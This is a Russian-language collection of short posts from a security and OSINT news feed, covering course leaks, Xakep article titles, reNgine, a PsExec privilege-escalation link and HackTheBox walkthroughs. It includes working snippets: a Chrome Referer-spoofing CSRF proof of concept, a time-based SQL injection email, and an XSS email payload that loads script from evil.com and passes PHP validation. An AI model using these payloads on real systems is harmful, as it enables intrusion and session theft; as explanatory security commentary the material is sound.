В Сети в открытом доступе появились материалы курса "Русский OSINT" от MIFKilla, решил поделиться с вами.

MEGA, Облако Mail.ru

Приобретал курс на старте, личные впечатления -- видеоруководство по @HowToFind_bot с авторскими дополнениями. Хороший старт в OSINT.

За семью замками. Защищаем приложение для Android от отладчиков, эмуляторов и Frida — «Хакер»

2020 потрясающий год. Помимо всего прочего, в Chrome можно подделать заголовок Referer, чего не было более десяти лет (раньше с помощью Flash можно было подменить этот заголовок).
PoC был выложен несколько дней назад и совершенно тривиальный:

<base href="https://www.google.com/">
<style>
   @import 'https://CSRF.vulnerable.example/';
</style>

Запрос к сайту уйдет с заголовком
Referer: https://www.google.com/

К счастью, половину интернета этим не заломаешь (SameSite cookie, вот это все), но имейте в виду.

reNgine - прикольный дашборд для автоматизации разведки, предназначенный для сбора информации во время тестирования на проникновение веб-приложений.

Ищет поддоменены, сканит порты, делает скриншоты, перебирает директории и готов к расширению функциональности. Enjoy!

Вчера в блоге Tenable появилась любопытная статья про локальное повышение привилегий в PsExec, позволяющее процессу, запущенному не от администратора, перейти в SYSTEM.

Работает для Windows 10 и более младших версий, вплоть до XP. Тестируемые версии PsExec v1.72 и до актуальной v2.2.

PoC прилагается.

https://medium.com/tenable-techblog/psexec-local-privilege-escalation-2e8069adc9c8

path license C:\Users\<Username>\BurpBountyProKey.lic

Бум вбросил в чат скрин с требованиями к инфраструктурным пентестерам (внутрянщикам), которые я как-то накидывал, и мы обсуждали в другом чате.
Список весьма спорный, но он ещё изменялся (в том числе по замечаниям разных людей), так что решил сделать публичным док с обновляемой матрицей компетенций по наиболее распространённым пентестерским специализациям.
Док тут: http://docs.google.com/spreadsheets/d/15w9mA5HB9uuiquIx8pavdxThwfMrH7HSv2zmagrekec/
В первой вкладке есть интро, но оговорюсь ещё раз, что это лишь примерные прикидки, и не обязательно знать всё ;)
В то же время, ничего особенно сложного там нет. Думаю, что всё это легко освоить за указанные во втором столбце сроки.

Anti-fingerprinting extensions tend to make fingerprinting easier (Score: 101+ in 5 hours)

Link: https://readhacker.news/s/4AvjZ
Comments: https://readhacker.news/c/4AvjZ

Перевел для вас статью о поиске скрытого контента на Youtube.

Несколько новых приемов я для себя выделил. На мой взгляд, они могут быть очень полезны в некоторых кейсах. Всем читать!

Биты защиты. Разбираем способы защиты микроконтроллеров — «Хакер»

HackTheBox. Прохождение OpenKeys. Ломаем виртуалку OpenBSD
https://habr.com/ru/post/532556/?utm_campaign=532556&utm_source=habrahabr&utm_medium=rss

После эксплутации инъекции в sql с помощью следующего email адреса

"'-sleep(5)-'"@mail.local

невольно задумываешься: а какого хера это вообще пропустило как валидный email?

В целом, локальная часть (логин, до @) email’а может сожержать спецсимволы по RFC, если она заключена в двойные кавычки. А дальше - уже любимые языки программирования немного отходят от того, какие именно символы можно использовать.

Поэтому, следующая магия:

php -r "echo filter_var('\"\'--><script/src=//evil.com></script>\"@example.com', FILTER_VALIDATE_EMAIL);”

Провалидирует и вполне законно вернет мыло с вектором атаки: "'--><script/src=//evil.com></script>"@example.com

А там как дальше разработчики его отображают - отдельный вопрос.

Watch "HackTheBox - OpenKeyS" on YouTube
https://youtu.be/krsGwWrTQ7E

Украденное оружие FireEye
https://habr.com/ru/post/532832/?utm_campaign=532832&utm_source=habrahabr&utm_medium=rss

World Social Media Platforms — большой список социальных сетей и платформ от OSINT Combine. В нем можно отсортировать сайты по стране и общей тематике, а также искать внутри сайтов по ключевым словам. Очень пригодится для поиска информации о цели вне России!

Бэкдор для LUKS. Как перехватить ключ и пароль от зашифрованного раздела в Linux — «Хакер»